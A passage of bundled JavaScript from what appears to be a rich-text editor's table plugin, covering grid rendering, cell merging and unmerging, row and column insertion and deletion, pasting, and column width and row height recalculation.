        return elementnew(fixedCell, cell.isNew, cell.isLocked);
      }
    });
    const sectionCells = () => ({
      transformRow,
      transformCell
    });
    const cells = () => ({
      transformRow: (row, section) => {
        const newSection = section === 'thead' ? 'tbody' : section;
        return transformRow(row, newSection);
      },
      transformCell
    });
    const fallback = () => ({
      transformRow: identity,
      transformCell
    });
    const getTableSectionType = (table, fallback) => {
      const warehouse = Warehouse.fromTable(table);
      const type = findTableRowHeaderType(warehouse).getOr(fallback);
      switch (type) {
      case 'section':
        return section();
      case 'sectionCells':
        return sectionCells();
      case 'cells':
        return cells();
      }
    };
    const TableSection = {
      getTableSectionType,
      section,
      sectionCells,
      cells,
      fallback
    };

    const closest = target => closest$1(target, '[contenteditable]');
    const isEditable$1 = (element, assumeEditable = false) => {
      if (inBody(element)) {
        return element.dom.isContentEditable;
      } else {
        return closest(element).fold(constant(assumeEditable), editable => getRaw(editable) === 'true');
      }
    };
    const getRaw = element => element.dom.contentEditable;

    const setIfNot = (element, property, value, ignore) => {
      if (value === ignore) {
        remove$7(element, property);
      } else {
        set$2(element, property, value);
      }
    };
    const insert$1 = (table, selector, element) => {
      last$2(children(table, selector)).fold(() => prepend(table, element), child => after$5(child, element));
    };
    const generateSection = (table, sectionName) => {
      const section = child(table, sectionName).getOrThunk(() => {
        const newSection = SugarElement.fromTag(sectionName, owner(table).dom);
        if (sectionName === 'thead') {
          insert$1(table, 'caption,colgroup', newSection);
        } else if (sectionName === 'colgroup') {
          insert$1(table, 'caption', newSection);
        } else {
          append$1(table, newSection);
        }
        return newSection;
      });
      empty(section);
      return section;
    };
    const render$1 = (table, grid) => {
      const newRows = [];
      const newCells = [];
      const syncRows = gridSection => map$1(gridSection, row => {
        if (row.isNew) {
          newRows.push(row.element);
        }
        const tr = row.element;
        empty(tr);
        each$2(row.cells, cell => {
          if (cell.isNew) {
            newCells.push(cell.element);
          }
          setIfNot(cell.element, 'colspan', cell.colspan, 1);
          setIfNot(cell.element, 'rowspan', cell.rowspan, 1);
          append$1(tr, cell.element);
        });
        return tr;
      });
      const syncColGroup = gridSection => bind$2(gridSection, colGroup => map$1(colGroup.cells, col => {
        setIfNot(col.element, 'span', col.colspan, 1);
        return col.element;
      }));
      const renderSection = (gridSection, sectionName) => {
        const section = generateSection(table, sectionName);
        const sync = sectionName === 'colgroup' ? syncColGroup : syncRows;
        const sectionElems = sync(gridSection);
        append(section, sectionElems);
      };
      const removeSection = sectionName => {
        child(table, sectionName).each(remove$6);
      };
      const renderOrRemoveSection = (gridSection, sectionName) => {
        if (gridSection.length > 0) {
          renderSection(gridSection, sectionName);
        } else {
          removeSection(sectionName);
        }
      };
      const headSection = [];
      const bodySection = [];
      const footSection = [];
      const columnGroupsSection = [];
      each$2(grid, row => {
        switch (row.section) {
        case 'thead':
          headSection.push(row);
          break;
        case 'tbody':
          bodySection.push(row);
          break;
        case 'tfoot':
          footSection.push(row);
          break;
        case 'colgroup':
          columnGroupsSection.push(row);
          break;
        }
      });
      renderOrRemoveSection(columnGroupsSection, 'colgroup');
      renderOrRemoveSection(headSection, 'thead');
      renderOrRemoveSection(bodySection, 'tbody');
      renderOrRemoveSection(footSection, 'tfoot');
      return {
        newRows,
        newCells
      };
    };
    const copy = grid => map$1(grid, row => {
      const tr = shallow(row.element);
      each$2(row.cells, cell => {
        const clonedCell = deep(cell.element);
        setIfNot(clonedCell, 'colspan', cell.colspan, 1);
        setIfNot(clonedCell, 'rowspan', cell.rowspan, 1);
        append$1(tr, clonedCell);
      });
      return tr;
    });

    const getColumn = (grid, index) => {
      return map$1(grid, row => {
        return getCell(row, index);
      });
    };
    const getRow = (grid, index) => {
      return grid[index];
    };
    const findDiff = (xs, comp) => {
      if (xs.length === 0) {
        return 0;
      }
      const first = xs[0];
      const index = findIndex(xs, x => {
        return !comp(first.element, x.element);
      });
      return index.getOr(xs.length);
    };
    const subgrid = (grid, row, column, comparator) => {
      const gridRow = getRow(grid, row);
      const isColRow = gridRow.section === 'colgroup';
      const colspan = findDiff(gridRow.cells.slice(column), comparator);
      const rowspan = isColRow ? 1 : findDiff(getColumn(grid.slice(row), column), comparator);
      return {
        colspan,
        rowspan
      };
    };

    const toDetails = (grid, comparator) => {
      const seen = map$1(grid, row => map$1(row.cells, never));
      const updateSeen = (rowIndex, columnIndex, rowspan, colspan) => {
        for (let row = rowIndex; row < rowIndex + rowspan; row++) {
          for (let column = columnIndex; column < columnIndex + colspan; column++) {
            seen[row][column] = true;
          }
        }
      };
      return map$1(grid, (row, rowIndex) => {
        const details = bind$2(row.cells, (cell, columnIndex) => {
          if (seen[rowIndex][columnIndex] === false) {
            const result = subgrid(grid, rowIndex, columnIndex, comparator);
            updateSeen(rowIndex, columnIndex, result.rowspan, result.colspan);
            return [detailnew(cell.element, result.rowspan, result.colspan, cell.isNew)];
          } else {
            return [];
          }
        });
        return rowdetailnew(row.element, details, row.section, row.isNew);
      });
    };
    const toGrid = (warehouse, generators, isNew) => {
      const grid = [];
      each$2(warehouse.colgroups, colgroup => {
        const colgroupCols = [];
        for (let columnIndex = 0; columnIndex < warehouse.grid.columns; columnIndex++) {
          const element = Warehouse.getColumnAt(warehouse, columnIndex).map(column => elementnew(column.element, isNew, false)).getOrThunk(() => elementnew(generators.colGap(), true, false));
          colgroupCols.push(element);
        }
        grid.push(rowcells(colgroup.element, colgroupCols, 'colgroup', isNew));
      });
      for (let rowIndex = 0; rowIndex < warehouse.grid.rows; rowIndex++) {
        const rowCells = [];
        for (let columnIndex = 0; columnIndex < warehouse.grid.columns; columnIndex++) {
          const element = Warehouse.getAt(warehouse, rowIndex, columnIndex).map(item => elementnew(item.element, isNew, item.isLocked)).getOrThunk(() => elementnew(generators.gap(), true, false));
          rowCells.push(element);
        }
        const rowDetail = warehouse.all[rowIndex];
        const row = rowcells(rowDetail.element, rowCells, rowDetail.section, isNew);
        grid.push(row);
      }
      return grid;
    };

    const fromWarehouse = (warehouse, generators) => toGrid(warehouse, generators, false);
    const toDetailList = grid => toDetails(grid, eq$1);
    const findInWarehouse = (warehouse, element) => findMap(warehouse.all, r => find$1(r.cells, e => eq$1(element, e.element)));
    const extractCells = (warehouse, target, predicate) => {
      const details = map$1(target.selection, cell$1 => {
        return cell(cell$1).bind(lc => findInWarehouse(warehouse, lc)).filter(predicate);
      });
      const cells = cat(details);
      return someIf(cells.length > 0, cells);
    };
    const run = (operation, extract, adjustment, postAction, genWrappers) => (table, target, generators, behaviours) => {
      const warehouse = Warehouse.fromTable(table);
      const tableSection = Optional.from(behaviours === null || behaviours === void 0 ? void 0 : behaviours.section).getOrThunk(TableSection.fallback);
      const output = extract(warehouse, target).map(info => {
        const model = fromWarehouse(warehouse, generators);
        const result = operation(model, info, eq$1, genWrappers(generators), tableSection);
        const lockedColumns = getLockedColumnsFromGrid(result.grid);
        const grid = toDetailList(result.grid);
        return {
          info,
          grid,
          cursor: result.cursor,
          lockedColumns
        };
      });
      return output.bind(out => {
        const newElements = render$1(table, out.grid);
        const tableSizing = Optional.from(behaviours === null || behaviours === void 0 ? void 0 : behaviours.sizing).getOrThunk(() => TableSize.getTableSize(table));
        const resizing = Optional.from(behaviours === null || behaviours === void 0 ? void 0 : behaviours.resize).getOrThunk(preserveTable);
        adjustment(table, out.grid, out.info, {
          sizing: tableSizing,
          resize: resizing,
          section: tableSection
        });
        postAction(table);
        remove$7(table, LOCKED_COL_ATTR);
        if (out.lockedColumns.length > 0) {
          set$2(table, LOCKED_COL_ATTR, out.lockedColumns.join(','));
        }
        return Optional.some({
          cursor: out.cursor,
          newRows: newElements.newRows,
          newCells: newElements.newCells
        });
      });
    };
    const onPaste = (warehouse, target) => cell(target.element).bind(cell => findInWarehouse(warehouse, cell).map(details => {
      const value = {
        ...details,
        generators: target.generators,
        clipboard: target.clipboard
      };
      return value;
    }));
    const onPasteByEditor = (warehouse, target) => extractCells(warehouse, target, always).map(cells => ({
      cells,
      generators: target.generators,
      clipboard: target.clipboard
    }));
    const onMergable = (_warehouse, target) => target.mergable;
    const onUnmergable = (_warehouse, target) => target.unmergable;
    const onCells = (warehouse, target) => extractCells(warehouse, target, always);
    const onUnlockedCells = (warehouse, target) => extractCells(warehouse, target, detail => !detail.isLocked);
    const isUnlockedTableCell = (warehouse, cell) => findInWarehouse(warehouse, cell).exists(detail => !detail.isLocked);
    const allUnlocked = (warehouse, cells) => forall(cells, cell => isUnlockedTableCell(warehouse, cell));
    const onUnlockedMergable = (warehouse, target) => onMergable(warehouse, target).filter(mergeable => allUnlocked(warehouse, mergeable.cells));
    const onUnlockedUnmergable = (warehouse, target) => onUnmergable(warehouse, target).filter(cells => allUnlocked(warehouse, cells));

    const merge$2 = (grid, bounds, comparator, substitution) => {
      const rows = extractGridDetails(grid).rows;
      if (rows.length === 0) {
        return grid;
      }
      for (let i = bounds.startRow; i <= bounds.finishRow; i++) {
        for (let j = bounds.startCol; j <= bounds.finishCol; j++) {
          const row = rows[i];
          const isLocked = getCell(row, j).isLocked;
          mutateCell(row, j, elementnew(substitution(), false, isLocked));
        }
      }
      return grid;
    };
    const unmerge = (grid, target, comparator, substitution) => {
      const rows = extractGridDetails(grid).rows;
      let first = true;
      for (let i = 0; i < rows.length; i++) {
        for (let j = 0; j < cellLength(rows[0]); j++) {
          const row = rows[i];
          const currentCell = getCell(row, j);
          const currentCellElm = currentCell.element;
          const isToReplace = comparator(currentCellElm, target);
          if (isToReplace && !first) {
            mutateCell(row, j, elementnew(substitution(), true, currentCell.isLocked));
          } else if (isToReplace) {
            first = false;
          }
        }
      }
      return grid;
    };
    const uniqueCells = (row, comparator) => {
      return foldl(row, (rest, cell) => {
        return exists(rest, currentCell => {
          return comparator(currentCell.element, cell.element);
        }) ? rest : rest.concat([cell]);
      }, []);
    };
    const splitCols = (grid, index, comparator, substitution) => {
      if (index > 0 && index < grid[0].cells.length) {
        each$2(grid, row => {
          const prevCell = row.cells[index - 1];
          let offset = 0;
          const substitute = substitution();
          while (row.cells.length > index + offset && comparator(prevCell.element, row.cells[index + offset].element)) {
            mutateCell(row, index + offset, elementnew(substitute, true, row.cells[index + offset].isLocked));
            offset++;
          }
        });
      }
      return grid;
    };
    const splitRows = (grid, index, comparator, substitution) => {
      const rows = extractGridDetails(grid).rows;
      if (index > 0 && index < rows.length) {
        const rowPrevCells = rows[index - 1].cells;
        const cells = uniqueCells(rowPrevCells, comparator);
        each$2(cells, cell => {
          let replacement = Optional.none();
          for (let i = index; i < rows.length; i++) {
            for (let j = 0; j < cellLength(rows[0]); j++) {
              const row = rows[i];
              const current = getCell(row, j);
              const isToReplace = comparator(current.element, cell.element);
              if (isToReplace) {
                if (replacement.isNone()) {
                  replacement = Optional.some(substitution());
                }
                replacement.each(sub => {
                  mutateCell(row, j, elementnew(sub, true, current.isLocked));
                });
              }
            }
          }
        });
      }
      return grid;
    };

    const value$1 = value => {
      const applyHelper = fn => fn(value);
      const constHelper = constant(value);
      const outputHelper = () => output;
      const output = {
        tag: true,
        inner: value,
        fold: (_onError, onValue) => onValue(value),
        isValue: always,
        isError: never,
        map: mapper => Result.value(mapper(value)),
        mapError: outputHelper,
        bind: applyHelper,
        exists: applyHelper,
        forall: applyHelper,
        getOr: constHelper,
        or: outputHelper,
        getOrThunk: constHelper,
        orThunk: outputHelper,
        getOrDie: constHelper,
        each: fn => {
          fn(value);
        },
        toOptional: () => Optional.some(value)
      };
      return output;
    };
    const error = error => {
      const outputHelper = () => output;
      const output = {
        tag: false,
        inner: error,
        fold: (onError, _onValue) => onError(error),
        isValue: never,
        isError: always,
        map: outputHelper,
        mapError: mapper => Result.error(mapper(error)),
        bind: outputHelper,
        exists: never,
        forall: always,
        getOr: identity,
        or: identity,
        getOrThunk: apply,
        orThunk: apply,
        getOrDie: die(String(error)),
        each: noop,
        toOptional: Optional.none
      };
      return output;
    };
    const fromOption = (optional, err) => optional.fold(() => error(err), value$1);
    const Result = {
      value: value$1,
      error,
      fromOption
    };

    const measure = (startAddress, gridA, gridB) => {
      if (startAddress.row >= gridA.length || startAddress.column > cellLength(gridA[0])) {
        return Result.error('invalid start address out of table bounds, row: ' + startAddress.row + ', column: ' + startAddress.column);
      }
      const rowRemainder = gridA.slice(startAddress.row);
      const colRemainder = rowRemainder[0].cells.slice(startAddress.column);
      const colRequired = cellLength(gridB[0]);
      const rowRequired = gridB.length;
      return Result.value({
        rowDelta: rowRemainder.length - rowRequired,
        colDelta: colRemainder.length - colRequired
      });
    };
    const measureWidth = (gridA, gridB) => {
      const colLengthA = cellLength(gridA[0]);
      const colLengthB = cellLength(gridB[0]);
      return {
        rowDelta: 0,
        colDelta: colLengthA - colLengthB
      };
    };
    const measureHeight = (gridA, gridB) => {
      const rowLengthA = gridA.length;
      const rowLengthB = gridB.length;
      return {
        rowDelta: rowLengthA - rowLengthB,
        colDelta: 0
      };
    };
    const generateElements = (amount, row, generators, isLocked) => {
      const generator = row.section === 'colgroup' ? generators.col : generators.cell;
      return range$1(amount, idx => elementnew(generator(), true, isLocked(idx)));
    };
    const rowFill = (grid, amount, generators, lockedColumns) => {
      const exampleRow = grid[grid.length - 1];
      return grid.concat(range$1(amount, () => {
        const generator = exampleRow.section === 'colgroup' ? generators.colgroup : generators.row;
        const row = clone(exampleRow, generator, identity);
        const elements = generateElements(row.cells.length, row, generators, idx => has$1(lockedColumns, idx.toString()));
        return setCells(row, elements);
      }));
    };
    const colFill = (grid, amount, generators, startIndex) => map$1(grid, row => {
      const newChildren = generateElements(amount, row, generators, never);
      return addCells(row, startIndex, newChildren);
    });
    const lockedColFill = (grid, generators, lockedColumns) => map$1(grid, row => {
      return foldl(lockedColumns, (acc, colNum) => {
        const newChild = generateElements(1, row, generators, always)[0];
        return addCell(acc, colNum, newChild);
      }, row);
    });
    const tailor = (gridA, delta, generators) => {
      const fillCols = delta.colDelta < 0 ? colFill : identity;
      const fillRows = delta.rowDelta < 0 ? rowFill : identity;
      const lockedColumns = getLockedColumnsFromGrid(gridA);
      const gridWidth = cellLength(gridA[0]);
      const isLastColLocked = exists(lockedColumns, locked => locked === gridWidth - 1);
      const modifiedCols = fillCols(gridA, Math.abs(delta.colDelta), generators, isLastColLocked ? gridWidth - 1 : gridWidth);
      const newLockedColumns = getLockedColumnsFromGrid(modifiedCols);
      return fillRows(modifiedCols, Math.abs(delta.rowDelta), generators, mapToObject(newLockedColumns, always));
    };

    const isSpanning = (grid, row, col, comparator) => {
      const candidate = getCell(grid[row], col);
      const matching = curry(comparator, candidate.element);
      const currentRow = grid[row];
      return grid.length > 1 && cellLength(currentRow) > 1 && (col > 0 && matching(getCellElement(currentRow, col - 1)) || col < currentRow.cells.length - 1 && matching(getCellElement(currentRow, col + 1)) || row > 0 && matching(getCellElement(grid[row - 1], col)) || row < grid.length - 1 && matching(getCellElement(grid[row + 1], col)));
    };
    const mergeTables = (startAddress, gridA, gridBRows, generator, comparator, lockedColumns) => {
      const startRow = startAddress.row;
      const startCol = startAddress.column;
      const mergeHeight = gridBRows.length;
      const mergeWidth = cellLength(gridBRows[0]);
      const endRow = startRow + mergeHeight;
      const endCol = startCol + mergeWidth + lockedColumns.length;
      const lockedColumnObj = mapToObject(lockedColumns, always);
      for (let r = startRow; r < endRow; r++) {
        let skippedCol = 0;
        for (let c = startCol; c < endCol; c++) {
          if (lockedColumnObj[c]) {
            skippedCol++;
            continue;
          }
          if (isSpanning(gridA, r, c, comparator)) {
            unmerge(gridA, getCellElement(gridA[r], c), comparator, generator.cell);
          }
          const gridBColIndex = c - startCol - skippedCol;
          const newCell = getCell(gridBRows[r - startRow], gridBColIndex);
          const newCellElm = newCell.element;
          const replacement = generator.replace(newCellElm);
          mutateCell(gridA[r], c, elementnew(replacement, true, newCell.isLocked));
        }
      }
      return gridA;
    };
    const getValidStartAddress = (currentStartAddress, grid, lockedColumns) => {
      const gridColLength = cellLength(grid[0]);
      const adjustedRowAddress = extractGridDetails(grid).cols.length + currentStartAddress.row;
      const possibleColAddresses = range$1(gridColLength - currentStartAddress.column, num => num + currentStartAddress.column);
      const validColAddress = find$1(possibleColAddresses, num => forall(lockedColumns, col => col !== num)).getOr(gridColLength - 1);
      return {
        row: adjustedRowAddress,
        column: validColAddress
      };
    };
    const getLockedColumnsWithinBounds = (startAddress, rows, lockedColumns) => filter$2(lockedColumns, colNum => colNum >= startAddress.column && colNum <= cellLength(rows[0]) + startAddress.column);
    const merge$1 = (startAddress, gridA, gridB, generator, comparator) => {
      const lockedColumns = getLockedColumnsFromGrid(gridA);
      const validStartAddress = getValidStartAddress(startAddress, gridA, lockedColumns);
      const gridBRows = extractGridDetails(gridB).rows;
      const lockedColumnsWithinBounds = getLockedColumnsWithinBounds(validStartAddress, gridBRows, lockedColumns);
      const result = measure(validStartAddress, gridA, gridBRows);
      return result.map(diff => {
        const delta = {
          ...diff,
          colDelta: diff.colDelta - lockedColumnsWithinBounds.length
        };
        const fittedGrid = tailor(gridA, delta, generator);
        const newLockedColumns = getLockedColumnsFromGrid(fittedGrid);
        const newLockedColumnsWithinBounds = getLockedColumnsWithinBounds(validStartAddress, gridBRows, newLockedColumns);
        return mergeTables(validStartAddress, fittedGrid, gridBRows, generator, comparator, newLockedColumnsWithinBounds);
      });
    };
    const insertCols = (index, gridA, gridB, generator, comparator) => {
      splitCols(gridA, index, comparator, generator.cell);
      const delta = measureHeight(gridB, gridA);
      const fittedNewGrid = tailor(gridB, delta, generator);
      const secondDelta = measureHeight(gridA, fittedNewGrid);
      const fittedOldGrid = tailor(gridA, secondDelta, generator);
      return map$1(fittedOldGrid, (gridRow, i) => {
        return addCells(gridRow, index, fittedNewGrid[i].cells);
      });
    };
    const insertRows = (index, gridA, gridB, generator, comparator) => {
      splitRows(gridA, index, comparator, generator.cell);
      const locked = getLockedColumnsFromGrid(gridA);
      const diff = measureWidth(gridA, gridB);
      const delta = {
        ...diff,
        colDelta: diff.colDelta - locked.length
      };
      const fittedOldGrid = tailor(gridA, delta, generator);
      const {
        cols: oldCols,
        rows: oldRows
      } = extractGridDetails(fittedOldGrid);
      const newLocked = getLockedColumnsFromGrid(fittedOldGrid);
      const secondDiff = measureWidth(gridB, gridA);
      const secondDelta = {
        ...secondDiff,
        colDelta: secondDiff.colDelta + newLocked.length
      };
      const fittedGridB = lockedColFill(gridB, generator, newLocked);
      const fittedNewGrid = tailor(fittedGridB, secondDelta, generator);
      return [
        ...oldCols,
        ...oldRows.slice(0, index),
        ...fittedNewGrid,
        ...oldRows.slice(index, oldRows.length)
      ];
    };

    const cloneRow = (row, cloneCell, comparator, substitution) => clone(row, elem => substitution(elem, comparator), cloneCell);
    const insertRowAt = (grid, index, example, comparator, substitution) => {
      const {rows, cols} = extractGridDetails(grid);
      const before = rows.slice(0, index);
      const after = rows.slice(index);
      const newRow = cloneRow(rows[example], (ex, c) => {
        const withinSpan = index > 0 && index < rows.length && comparator(getCellElement(rows[index - 1], c), getCellElement(rows[index], c));
        const ret = withinSpan ? getCell(rows[index], c) : elementnew(substitution(ex.element, comparator), true, ex.isLocked);
        return ret;
      }, comparator, substitution);
      return [
        ...cols,
        ...before,
        newRow,
        ...after
      ];
    };
    const getElementFor = (row, column, section, withinSpan, example, comparator, substitution) => {
      if (section === 'colgroup' || !withinSpan) {
        const cell = getCell(row, example);
        return elementnew(substitution(cell.element, comparator), true, false);
      } else {
        return getCell(row, column);
      }
    };
    const insertColumnAt = (grid, index, example, comparator, substitution) => map$1(grid, row => {
      const withinSpan = index > 0 && index < cellLength(row) && comparator(getCellElement(row, index - 1), getCellElement(row, index));
      const sub = getElementFor(row, index, row.section, withinSpan, example, comparator, substitution);
      return addCell(row, index, sub);
    });
    const deleteColumnsAt = (grid, columns) => bind$2(grid, row => {
      const existingCells = row.cells;
      const cells = foldr(columns, (acc, column) => column >= 0 && column < acc.length ? acc.slice(0, column).concat(acc.slice(column + 1)) : acc, existingCells);
      return cells.length > 0 ? [rowcells(row.element, cells, row.section, row.isNew)] : [];
    });
    const deleteRowsAt = (grid, start, finish) => {
      const {rows, cols} = extractGridDetails(grid);
      return [
        ...cols,
        ...rows.slice(0, start),
        ...rows.slice(finish + 1)
      ];
    };

    const notInStartRow = (grid, rowIndex, colIndex, comparator) => getCellElement(grid[rowIndex], colIndex) !== undefined && (rowIndex > 0 && comparator(getCellElement(grid[rowIndex - 1], colIndex), getCellElement(grid[rowIndex], colIndex)));
    const notInStartColumn = (row, index, comparator) => index > 0 && comparator(getCellElement(row, index - 1), getCellElement(row, index));
    const isDuplicatedCell = (grid, rowIndex, colIndex, comparator) => notInStartRow(grid, rowIndex, colIndex, comparator) || notInStartColumn(grid[rowIndex], colIndex, comparator);
    const rowReplacerPredicate = (targetRow, columnHeaders) => {
      const entireTableIsHeader = forall(columnHeaders, identity) && isHeaderCells(targetRow.cells);
      return entireTableIsHeader ? always : (cell, _rowIndex, colIndex) => {
        const type = name(cell.element);
        return !(type === 'th' && columnHeaders[colIndex]);
      };
    };
    const columnReplacePredicate = (targetColumn, rowHeaders) => {
      const entireTableIsHeader = forall(rowHeaders, identity) && isHeaderCells(targetColumn);
      return entireTableIsHeader ? always : (cell, rowIndex, _colIndex) => {
        const type = name(cell.element);
        return !(type === 'th' && rowHeaders[rowIndex]);
      };
    };
    const determineScope = (applyScope, cell, newScope, isInHeader) => {
      const hasSpan = scope => scope === 'row' ? hasRowspan(cell) : hasColspan(cell);
      const getScope = scope => hasSpan(scope) ? `${ scope }group` : scope;
      if (applyScope) {
        return isHeaderCell(cell) ? getScope(newScope) : null;
      } else if (isInHeader && isHeaderCell(cell)) {
        const oppositeScope = newScope === 'row' ? 'col' : 'row';
        return getScope(oppositeScope);
      } else {
        return null;
      }
    };
    const rowScopeGenerator = (applyScope, columnHeaders) => (cell, rowIndex, columnIndex) => Optional.some(determineScope(applyScope, cell.element, 'col', columnHeaders[columnIndex]));
    const columnScopeGenerator = (applyScope, rowHeaders) => (cell, rowIndex) => Optional.some(determineScope(applyScope, cell.element, 'row', rowHeaders[rowIndex]));
    const replace = (cell, comparator, substitute) => elementnew(substitute(cell.element, comparator), true, cell.isLocked);
    const replaceIn = (grid, targets, comparator, substitute, replacer, genScope, shouldReplace) => {
      const isTarget = cell => {
        return exists(targets, target => {
          return comparator(cell.element, target.element);
        });
      };
      return map$1(grid, (row, rowIndex) => {
        return mapCells(row, (cell, colIndex) => {
          if (isTarget(cell)) {
            const newCell = shouldReplace(cell, rowIndex, colIndex) ? replacer(cell, comparator, substitute) : cell;
            genScope(newCell, rowIndex, colIndex).each(scope => {
              setOptions(newCell.element, { scope: Optional.from(scope) });
            });
            return newCell;
          } else {
            return cell;
          }
        });
      });
    };
    const getColumnCells = (rows, columnIndex, comparator) => bind$2(rows, (row, i) => {
      return isDuplicatedCell(rows, i, columnIndex, comparator) ? [] : [getCell(row, columnIndex)];
    });
    const getRowCells = (rows, rowIndex, comparator) => {
      const targetRow = rows[rowIndex];
      return bind$2(targetRow.cells, (item, i) => {
        return isDuplicatedCell(rows, rowIndex, i, comparator) ? [] : [item];
      });
    };
    const replaceColumns = (grid, indexes, applyScope, comparator, substitution) => {
      const rows = extractGridDetails(grid).rows;
      const targets = bind$2(indexes, index => getColumnCells(rows, index, comparator));
      const rowHeaders = map$1(rows, row => isHeaderCells(row.cells));
      const shouldReplaceCell = columnReplacePredicate(targets, rowHeaders);
      const scopeGenerator = columnScopeGenerator(applyScope, rowHeaders);
      return replaceIn(grid, targets, comparator, substitution, replace, scopeGenerator, shouldReplaceCell);
    };
    const replaceRows = (grid, indexes, section, applyScope, comparator, substitution, tableSection) => {
      const {cols, rows} = extractGridDetails(grid);
      const targetRow = rows[indexes[0]];
      const targets = bind$2(indexes, index => getRowCells(rows, index, comparator));
      const columnHeaders = map$1(targetRow.cells, (_cell, index) => isHeaderCells(getColumnCells(rows, index, comparator)));
      const newRows = [...rows];
      each$2(indexes, index => {
        newRows[index] = tableSection.transformRow(rows[index], section);
      });
      const newGrid = [
        ...cols,
        ...newRows
      ];
      const shouldReplaceCell = rowReplacerPredicate(targetRow, columnHeaders);
      const scopeGenerator = rowScopeGenerator(applyScope, columnHeaders);
      return replaceIn(newGrid, targets, comparator, substitution, tableSection.transformCell, scopeGenerator, shouldReplaceCell);
    };
    const replaceCells = (grid, details, comparator, substitution) => {
      const rows = extractGridDetails(grid).rows;
      const targetCells = map$1(details, detail => getCell(rows[detail.row], detail.column));
      return replaceIn(grid, targetCells, comparator, substitution, replace, Optional.none, always);
    };

    const generate = cases => {
      if (!isArray(cases)) {
        throw new Error('cases must be an array');
      }
      if (cases.length === 0) {
        throw new Error('there must be at least one case');
      }
      const constructors = [];
      const adt = {};
      each$2(cases, (acase, count) => {
        const keys$1 = keys(acase);
        if (keys$1.length !== 1) {
          throw new Error('one and only one name per case');
        }
        const key = keys$1[0];
        const value = acase[key];
        if (adt[key] !== undefined) {
          throw new Error('duplicate key detected:' + key);
        } else if (key === 'cata') {
          throw new Error('cannot have a case named cata (sorry)');
        } else if (!isArray(value)) {
          throw new Error('case arguments must be an array');
        }
        constructors.push(key);
        adt[key] = (...args) => {
          const argLength = args.length;
          if (argLength !== value.length) {
            throw new Error('Wrong number of arguments to case ' + key + '. Expected ' + value.length + ' (' + value + '), got ' + argLength);
          }
          const match = branches => {
            const branchKeys = keys(branches);
            if (constructors.length !== branchKeys.length) {
              throw new Error('Wrong number of arguments to match. Expected: ' + constructors.join(',') + '\nActual: ' + branchKeys.join(','));
            }
            const allReqd = forall(constructors, reqKey => {
              return contains$2(branchKeys, reqKey);
            });
            if (!allReqd) {
              throw new Error('Not all branches were specified when using match. Specified: ' + branchKeys.join(', ') + '\nRequired: ' + constructors.join(', '));
            }
            return branches[key].apply(null, args);
          };
          return {
            fold: (...foldArgs) => {
              if (foldArgs.length !== cases.length) {
                throw new Error('Wrong number of arguments to fold. Expected ' + cases.length + ', got ' + foldArgs.length);
              }
              const target = foldArgs[count];
              return target.apply(null, args);
            },
            match,
            log: label => {
              console.log(label, {
                constructors,
                constructor: key,
                params: args
              });
            }
          };
        };
      });
      return adt;
    };
    const Adt = { generate };

    const adt$6 = Adt.generate([
      { none: [] },
      { only: ['index'] },
      {
        left: [
          'index',
          'next'
        ]
      },
      {
        middle: [
          'prev',
          'index',
          'next'
        ]
      },
      {
        right: [
          'prev',
          'index'
        ]
      }
    ]);
    const ColumnContext = { ...adt$6 };

    const neighbours = (input, index) => {
      if (input.length === 0) {
        return ColumnContext.none();
      }
      if (input.length === 1) {
        return ColumnContext.only(0);
      }
      if (index === 0) {
        return ColumnContext.left(0, 1);
      }
      if (index === input.length - 1) {
        return ColumnContext.right(index - 1, index);
      }
      if (index > 0 && index < input.length - 1) {
        return ColumnContext.middle(index - 1, index, index + 1);
      }
      return ColumnContext.none();
    };
    const determine = (input, column, step, tableSize, resize) => {
      const result = input.slice(0);
      const context = neighbours(input, column);
      const onNone = constant(map$1(result, constant(0)));
      const onOnly = index => tableSize.singleColumnWidth(result[index], step);
      const onLeft = (index, next) => resize.calcLeftEdgeDeltas(result, index, next, step, tableSize.minCellWidth(), tableSize.isRelative);
      const onMiddle = (prev, index, next) => resize.calcMiddleDeltas(result, prev, index, next, step, tableSize.minCellWidth(), tableSize.isRelative);
      const onRight = (prev, index) => resize.calcRightEdgeDeltas(result, prev, index, step, tableSize.minCellWidth(), tableSize.isRelative);
      return context.fold(onNone, onOnly, onLeft, onMiddle, onRight);
    };

    const total = (start, end, measures) => {
      let r = 0;
      for (let i = start; i < end; i++) {
        r += measures[i] !== undefined ? measures[i] : 0;
      }
      return r;
    };
    const recalculateWidthForCells = (warehouse, widths) => {
      const all = Warehouse.justCells(warehouse);
      return map$1(all, cell => {
        const width = total(cell.column, cell.column + cell.colspan, widths);
        return {
          element: cell.element,
          width,
          colspan: cell.colspan
        };
      });
    };
    const recalculateWidthForColumns = (warehouse, widths) => {
      const groups = Warehouse.justColumns(warehouse);
      return map$1(groups, (column, index) => ({
        element: column.element,
        width: widths[index],
        colspan: column.colspan
      }));
    };
    const recalculateHeightForCells = (warehouse, heights) => {
      const all = Warehouse.justCells(warehouse);
      return map$1(all, cell => {
        const height = total(cell.row, cell.row + cell.rowspan, heights);
        return {
          element: cell.element,
          height,
          rowspan: cell.rowspan
        };
      });
    };
    const matchRowHeight = (warehouse, heights) => {
      return map$1(warehouse.all, (row, i) => {
        return {
          element: row.element,
          height: heights[i]
        };
      });
    };

    const sumUp = newSize => foldr(newSize, (b, a) => b + a, 0);
    const recalculate = (warehouse, widths) => {
      if (Warehouse.hasColumns(warehouse)) {
        return recalculateWidthForColumns(warehouse, widths);
      } else {
        return recalculateWidthForCells(warehouse, widths);
      }
    };
    const recalculateAndApply = (warehouse, widths, tableSize) => {
      const newSizes = recalculate(warehouse, widths);
      each$2(newSizes, cell => {
        tableSize.setElementWidth(cell.element, cell.width);
      });
    };
    const adjustWidth = (table, delta, index, resizing, tableSize) => {
      const warehouse = Warehouse.fromTable(table);
      const step = tableSize.getCellDelta(delta);
      const widths = tableSize.getWidths(warehouse, tableSize);
      const isLastColumn = index === warehouse.grid.columns - 1;
      const clampedStep = resizing.clampTableDelta(widths, index, step, tableSize.minCellWidth(), isLastColumn);
      const deltas = determine(widths, index, clampedStep, tableSize, resizing);
      const newWidths = map$1(deltas, (dx, i) => dx + widths[i]);
      recalculateAndApply(warehouse, newWidths, tableSize);
      resizing.resizeTable(tableSize.adjustTableWidth, clampedStep, isLastColumn);
    };
    const adjustHeight = (table, delta, index, direction) => {
      const warehouse = Warehouse.fromTable(table);
      const heights = getPixelHeights(warehouse, table, direction);
      const newHeights = map$1(heights, (dy, i) => index === i ? Math.max(delta + dy, minHeight()) : dy);
      const newCellSizes = recalculateHeightForCells(warehouse, newHeights);
